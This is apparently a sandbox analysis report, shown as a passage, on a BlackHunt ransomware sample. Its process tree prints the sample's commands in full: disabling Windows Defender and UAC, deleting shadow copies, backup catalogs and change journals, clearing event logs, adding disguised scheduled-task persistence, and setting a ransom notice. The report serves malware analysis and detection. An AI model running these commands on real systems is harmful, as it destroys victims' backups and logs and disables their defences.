6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 48 PID 2444 wrote to memory of 2876 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 48 PID 2444 wrote to memory of 2924 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 51 PID 2444 wrote to memory of 2924 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 51 PID 2444 wrote to memory of 2924 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 51 PID 2444 wrote to memory of 2924 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 51 PID 2444 wrote to memory of 2840 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 52 PID 2444 wrote to memory of 2840 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 52 PID 2444 wrote to memory of 2840 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 52 PID 2444 wrote to memory of 2840 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 52 PID 2444 wrote to memory of 2688 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 53 PID 2444 wrote to memory of 2688 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 53 PID 2444 wrote to memory of 2688 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 53 PID 2444 wrote to memory of 2688 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 53 PID 2444 wrote to memory of 2676 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 55 PID 2444 wrote to memory of 2676 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 55 PID 2444 wrote to memory of 2676 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 55 PID 2444 wrote to memory of 2676 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 55 PID 2444 wrote to memory of 2792 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 149 PID 2444 wrote to memory of 2792 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 149 PID 2444 wrote to memory of 2792 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 149 PID 2444 wrote to memory of 2792 2444 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe 149 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe"C:\Users\Admin\AppData\Local\Temp\6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2444 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:2600
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:1160
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1528
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:1312
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:928
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2132
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2520
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2832
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1644
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2532
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2400
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1772
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2800
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:3784
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2848
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:1724
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2872
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:1788
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2876
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2380
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2924
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2840
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2688
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2356
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2676
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3500
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2792
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3216
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2700
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2504
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2768
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3196
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2656
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:3472
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2668
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3212
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2240
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:3516
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:3512
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:860
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:3172
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2228
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:3188
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2512
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1216
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:636
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2848
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1752
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1740
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1760
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1956
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:3388
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe" /F2⤵PID:2628
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe" /F3⤵
- Creates scheduled task(s)
PID:3204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2268
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1556
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1672
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2744
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1632
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:3016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:1832
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:3600
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:672
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3136
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:1800
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1308
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3556
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1684
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3228
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:380
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3868
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2712
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3192
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2892
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2440
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:2296
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:1552
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:288
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3048
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:1600
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3252
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:2452
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3132
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3316
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2192
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:2540
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:2612
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3172
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2168
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3212
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:1496
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2816
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2188
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:2368
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:1944
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3816
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3768
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3276
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1920
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:1668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:868
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:916
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:2372
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:4068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2404
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:2400
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2704
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:3712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:2228
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2100
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2316
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2944
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\6013f8d0ea251e5c8f5dd75ded9333232d40a79b1c11137f7975d3691f6db9dd.exe"2⤵
- Deletes itself
PID:1716 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2924
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2792
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2584
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵PID:3556
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:3680
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:1924
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
